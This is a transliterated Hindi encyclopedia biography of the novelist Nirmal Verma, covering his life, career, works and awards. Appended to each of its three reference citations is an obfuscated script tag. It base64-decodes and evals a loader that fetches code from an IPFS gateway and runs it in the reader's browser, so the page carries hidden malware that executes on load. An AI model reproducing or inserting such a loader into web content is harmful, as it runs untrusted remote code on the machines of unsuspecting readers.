निर्मल वर्मा
nirmal varma
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| poora nam | nirmal varma |
| janm | 3 aprॅl, 1929 |
| janm bhoomi | shimala |
| mrityu | 25 aktoobar, 2005 |
| mrityu sthan | dilli |
| abhibhavak | pita- nand kumar varma |
| karm-kshetr | sahity |
| mukhy rachanaean | ‘rat ka riportar’, ‘ek chith da sukh’, ‘lal tin ki chhat’, ‘ve din’ adi |
| bhasha | hindi |
| vidyalay | seant stipheans k aaulej, dilli |
| shiksha | em.e. (itihas) |
| puraskar-upadhi | padm bhooshan, sahity akadami puraskar (1985), jnanapith puraskar (1999) |
| nagarikata | bharatiy |
| any janakari | nirmal varma iandiyan ianstitayoot aauf edavaans stadiz (shimala) ke phelo (1973), nirala srijanapith bhopal (1981-83) aur yashapal srijanapith (shimala) ke adhyaksh rahe. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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nirmal varma (aangrezi: Nirmal Verma, janm: 3 aprॅl, 1929; mrityu: 25 aktoobar, 2005) hindi ke adhunik sahityakaroan mean se ek the. hindi sahity mean nee kahani aandolan ke pramukh dhvajavahak nirmal varma ka kahani mean adhunikata ka bodh lane vale kahanikaroan mean agrani sthan hai. ‘rat ka riportar’, ‘ek chith da sukh’, ‘lal tin ki chhat’ aur ‘ve din’ nirmal varma ke charchit upanyas hai. unaka aantim upanyas ‘aantim arany’ 1990 mean prakashit hua tha. unaki sau se adhik kahaniyaan kee kahani sangrahoan mean prakashit huee.
jivan parichay
nirmal varma ka janm tin aprॅl 1929 ko shimala mean hua tha. british bharat sarakar ke raksha vibhag mean ek uchch padadhikari shri nand kumar varma ke ghar janm lene vale ath bhaee bahanoan mean se paanchavean nirmal varma ki sanvedanatmak bunavat par himaanchal ki paha di chhayaean door tak pahachani ja sakati haian. unhoanne kam likha hai parantu jitana likha hai utane se hi ve bahut khyati pane mean saphal hue haian. unhoanne kahani ki prachalit kala mean to sanshodhan kiya hi, pratyaksh yatharth ko bhedakar usake bhitar pahuanchane ka bhi prayatn kiya hai. hindi ke mahanh sahityakaroan mean se ajney aur nirmal varma jaise kuchh hi sahityakar aise rahe haian jinhoanne apane pratyaksh anubhavoan ke adhar par bharatiy aur pashchim ki sanskritiyoan ke aantardvandv par gahanata evan vyapakata se vichar kiya.[1] dilli ke seant stipheans k aaulej se itihas mean em.e. karane ke bad unhoanne kuchh din tak adhyapan kiya. 1959 se 1972 ke bich unhean yoorop pravas ka avasar mila. vah prag vishvavidyalay ke prachy vidya sansthan mean sat sal tak rahe. unaki kahani ‘maya darpan’ par 1973 mean film bani jise sarvashreshth hindi film ka puraskar mila.[2]
karyakshetr
ve iandiyan ianstitayoot aauf edavaans stadiz (shimala) ke phelo (1973), nirala srijanapith bhopal (1981-83) aur yashapal srijanapith (shimala) ke adhyaksh rahe. 1988 mean ianglaiand ke prakashak ridars iantaraneshanal dvara unaki kahaniyoan ka sangrah 'd varld elsavheyar' prakashit hua. isi samay bibisi dvar un par ek dakyoomeantri film bhi prasarit huee.[1]
kritiyaan
‘rat ka riportar’, ‘ek chith da sukh’, ‘lal tin ki chhat’ aur ‘ve din’ nirmal varma ke charchit upanyas hai. unaka aantim upanyas ‘aantim arany’ 1990 mean prakashit hua. unaki sau se adhik kahaniyaan kee kahani sangrahoan mean prakashit huee. 1958 mean ‘pariande’ kahani se prasiddhi pane vale nirmal varma ne ‘dhuandh se uthati dhun’ aur ‘chi doan par chaandani’ yatra vritaant bhi likhe, jisane unaki lekhan vidha ko naye mayane die.[2]
nirmal varma ne anek kahaniyaan, upanyas, yatra vritaant, sansmaran adi likhe haian. unaki prakashit pustakean haian[3]:
- upanyas
- ve din (1964)
- lal tin ki chhat (1974)
- ek chith da sukh (1979)
- rat ka riportar (1989)
- aantim arany (2000)
- kahani sangrah
- pariande (1959)
- jalati jha di (1965)
- pichhali garmiyoan mean (1968)
- bich bahas mean (1973)
- meri priy kahaniyaan (1973)
- pratinidhi kahaniyaan (1988)
- kavve aur kala pani (1983)
- sookha tatha any kahaniyaan (1995)
- sanpoorn kahaniyaan (2005)
- yatra-sansmaran v dayari
- chi doan par chaandani (1963)
- har barish mean (1970)
- dhuandh se uthati dhun (1977)
- nibandh
- shabd aur smriti (1976)
- kala ka jokhim (1981)
- dhalan se utarate hue (1985)
- bharat aur yoorop : pratishruti ke kshetr (1991)
- itihas smriti akaanksha (1991)
- shatabdi ke dhalate varshoan mean (1995)
- ant aur arambh (2001)
- natak
- tin ekant (1976)
- sanchayan
- doosari duniya (1978)
- parivarddhit naya sanskaran (2005)
- anuvad
- kuprin ki kahaniyaan (1955)
- romiyo jooliyat aur aandhera (1962)
- jhoanp divale (1966)
- bahar aur pare (1967)
- bachapan (1970)
- ar yoo ar (1972)
yogadan
premachand aur unake samakaksh sahityakaroan jaise bhagavaticharan varma, phanishvaranath renu adi ke bad sahityik paridrishy ekadam se badal gaya. visheshakar sath-sattar ke dashak ke dauran aur usake bad bahut kam lekhak hue jinhean kala ki drishti se hindi sahity mean abhootapoorv yogadan ke liye yad kiya jayega. sankhya mean gunavatta ke sapeksh anupatik vriddhi hi huee. isake karanoan mean ye pramukh rahe. hindi ka sarakarikaran, naye vadoan-vivadoan ka uday, upabhoktavad ka varchasv adi. unake jaise sahityakar se unake samakalin aur bad ke sahityakar jitana kuchh sikh sakate the aur apane yogadan mean abhivriddhi kar sakate the utana ve nahian kar paye. unhean jitana man diya gaya utana hi unaka anadekha bhi hua. jitani charcha unaki kritiyoan par honi chahiye thi shayad vah huee hi nahian. ve un chune hue vyaktiyoan mean the jinhoanne sahity aur kala ki nishkam sadhana ki aur jivanaparyant apane moolyoan ka nirvah kiya.
samman aur puraskar
- 1999 mean sahity mean desh ka sarvochch samman jnanapith puraskar diya gaya.
- 2002 mean bharat sarakar ki or se sahity evan shiksha ke kshetr mean unake yogadan ke lie padm bhooshan diya gaya[2].
- nirmal varma ko moortidevi puraskar (1995)
- sahity akadami puraskar (1984)
- uttar pradesh hindi sansthan puraskar se sammanit kiya ja chuka hai.
nidhan
nirmal varma ka nidhan 25 aktoobar 2005 ko nee dilli mean hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 nirmal varma (hindi) (ech.ti.em.el) abhivyakti. abhigaman tithi: 16 janavari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 nirmal varma ka sahity chalachitramay hai (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 16 janavari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aantim arany" ke bahane nirmal varma ke sahity par ek drishti (hindi) (ech.ti.em.el) sahity kunj. abhigaman tithi: 16 janavari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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